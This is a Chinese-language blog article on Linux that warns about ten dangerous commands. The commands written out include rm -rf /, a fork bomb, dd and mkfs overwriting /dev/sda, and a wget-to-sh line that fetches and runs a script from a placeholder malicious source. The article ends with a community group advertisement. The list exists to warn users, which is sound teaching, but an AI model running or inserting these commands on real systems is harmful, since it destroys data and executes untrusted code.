计算机操作系统是管理计算机软硬件资源的一个平台,没有它,任何计算机都无法正常运行,市面上主流的操作系统有Windows、Unix、Linux、Mac OS X。

这里主要说一下Linux系统,Linux是一个类Unix的开源版操作系统,主要有以下几个特点:

开放式操作系统

Linux是一个免费软件,开发者可以自由安装并任意修改软件的源代码,相比Unix的命令行操作,Linux提供了窗口管理系统,相对容易操作,企业可以免费使用Linux,大大降低了成本预算。

强大的硬件支持

Linux系统非常容易维护,用户可以集中更新操作系统和所有安装的软件,即安全又高效。Linux能有效利用系统资源,允许用户针对特定的硬件要求进行安装,允许在旧计算机上安装Linux,从而有助于最佳地利用计算机硬件资源。

安全性高、稳定性强

Linux系统下除非用户以root身份登录,否则程序无法更改系统设置和配置,很少出现因为用户误操作导致计算机无法启动的情形。Linux非常稳定,不易崩溃,Linux能在几年后保持和第一次安装时一样的运行速度。而Windows的话可能在运行半年后,速度就跟不上了。

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多。但再完美的系统都有缺陷,在Linux给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。

这并不是说明 Linux 不安全,只是说明我们不了解 Linux ,Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面我给大家总结了十条最危险的命令:

(温馨提示:请千万记住不要再服务器或者其他设备上随意尝试~如果你想测试它们,请在虚拟机上运行,不然文件丢失或者系统奔溃就不好了。)

1. rm -rf 命令 

rm -rf命令是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏。

下列是一些rm 命令的选项:

rm 命令在Linux下通常用来删除文件。

rm -r 命令递归的删除文件夹,甚至是空的文件夹。

rm -f 命令能不经过询问直接删除‘只读文件’。Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。

rm -rf / : 强制删除根目录下所有东东。

rm -rf *: 强制删除当前目录的所有文件。

rm -rf . : 强制删除当前文件夹及其子文件夹。

从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。)

2. :(){:|:&};: 命令

这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。

怀疑的同学可以尽管在虚拟机里试试:

3. 命令 > /dev/sda

这个命令会将某个‘命令‘的输出写到块设备/dev/sda中。

这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。

4. mv 文件夹 /dev/null

这个命令会移动某个‘文件夹‘到/dev/null。

在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。

当然,要说明的是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。

上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。

5. wget http://malicious_source -O- | sh

该命令会从一个(也许是)恶意源下载一个脚本并执行。

Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。

6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了。

通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。

一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。

7. > file

这个命令常用来清空文件内容或记录命令输出。

不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。

你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。

如果用上列执行时输入错误或无知的输入类似 “> xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

8. ^foo^bar

这个命令用来编辑先前运行的命令而无需重打整个命令。

这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。

用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。

9. dd if=/dev/random of=/dev/sda

dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。

记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。

10. 隐藏命令 

下面的命令相当于rm –rf,它会藏在十六进制hex中,一个无知的用户可能就会被愚弄,如果在终端里运行下面命令可能会擦除你的根分区。

真正的危险是隐藏起来的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。

切记,千万不要编译/运行从未知来源的代码。

这个故事告诉我们,致命的威胁在隐藏起来的时候,我们通常可能难以发现。

总结:

Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。

欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                        群:                       755431660